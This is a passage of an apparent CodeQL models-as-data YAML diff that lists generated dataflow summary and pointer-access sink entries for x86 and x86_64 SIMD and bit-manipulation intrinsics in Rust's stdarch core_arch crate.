"crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[8]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm512_setr_ph", "Argument[9]", "ReturnValue.Field[crate::core_arch::x86::__m512h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_load_sh", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_mask_load_sh", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_ph", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_set_sh", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512fp16::_mm_setr_ph", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m128h(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_broadcast_sd", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_broadcast_ss", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_load_pd", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_load_ps", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_load_si256", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set1_pd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set1_ps", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_pd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_pd", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_pd", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_pd", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_set_ps", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_pd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_pd", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_pd", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_pd", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m256d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[4]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[5]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[6]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_setr_ps", "Argument[7]", "ReturnValue.Field[crate::core_arch::x86::__m256(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_store_pd", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_store_ps", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm256_store_si256", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx::_mm_broadcast_ss", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi1::_andn_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi1::_andn_u32", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi1::_blsi_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi1::_blsmsk_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi1::_blsr_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi2::_mulx_u32", "Argument[0]", "Argument[2]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi2::_mulx_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi2::_mulx_u32", "Argument[1]", "Argument[2]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::bmi2::_mulx_u32", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::rtm::_xabort_code", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_load1_pd", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_load_pd1", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_load_pd", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_load_sd", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_load_si128", "Argument[0].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_loadh_pd", "Argument[1].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_loadl_pd", "Argument[1].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_set1_pd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_set_pd1", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_set_pd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_set_pd", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_set_sd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_setr_pd", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_setr_pd", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_store_pd", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse2::_mm_store_si128", "Argument[1]", "Argument[0].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse3::_mm_loaddup_pd", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128d(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_MM_SHUFFLE", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_MM_SHUFFLE", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_MM_SHUFFLE", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_MM_SHUFFLE", "Argument[3]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_load1_ps", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_load_ps1", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_load_ps", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_load_ss", "Argument[0].Reference", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set1_ps", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set_ps1", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set_ps", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set_ps", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set_ps", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set_ps", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_set_ss", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_setr_ps", "Argument[0]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_setr_ps", "Argument[1]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_setr_ps", "Argument[2]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_setr_ps", "Argument[3]", "ReturnValue.Field[crate::core_arch::x86::__m128(0)].Element", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::sse::_mm_store_ps", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blcfill_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blci_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blcic_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blcmsk_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blcs_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blsfill_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_blsic_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_t1mskc_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::tbm::_tzmsk_u32", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::avx512bw::_cvtmask64_u64", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::avx512bw::_cvtu64_mask64", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi2::_mulx_u64", "Argument[0]", "Argument[2]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi2::_mulx_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi2::_mulx_u64", "Argument[1]", "Argument[2]", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi2::_mulx_u64", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi::_andn_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi::_andn_u64", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi::_blsi_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi::_blsmsk_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::bmi::_blsr_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blcfill_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blci_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blcic_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blcmsk_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blcs_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blsfill_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_blsic_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_t1mskc_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86_64::tbm::_tzmsk_u64", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_load_mask32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_load_mask64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm256_loadu_epi16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm256_loadu_epi8", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm256_storeu_epi16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm256_storeu_epi8", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_loadu_epi16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_loadu_epi8", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_storeu_epi16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm512_storeu_epi8", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm_loadu_epi16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm_loadu_epi8", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm_storeu_epi16", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_mm_storeu_epi8", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_store_mask32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512bw::_store_mask64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_load_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_load_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_loadu_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_loadu_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_store_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_store_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_storeu_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm256_storeu_epi64", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", "crate::core_arch::x86::avx512f::_mm512_load_epi32", "Argument[0]", "pointer-access", "df-generated"] + - ["repo:https://github.com/rust-lang/stdarch:core_arch", 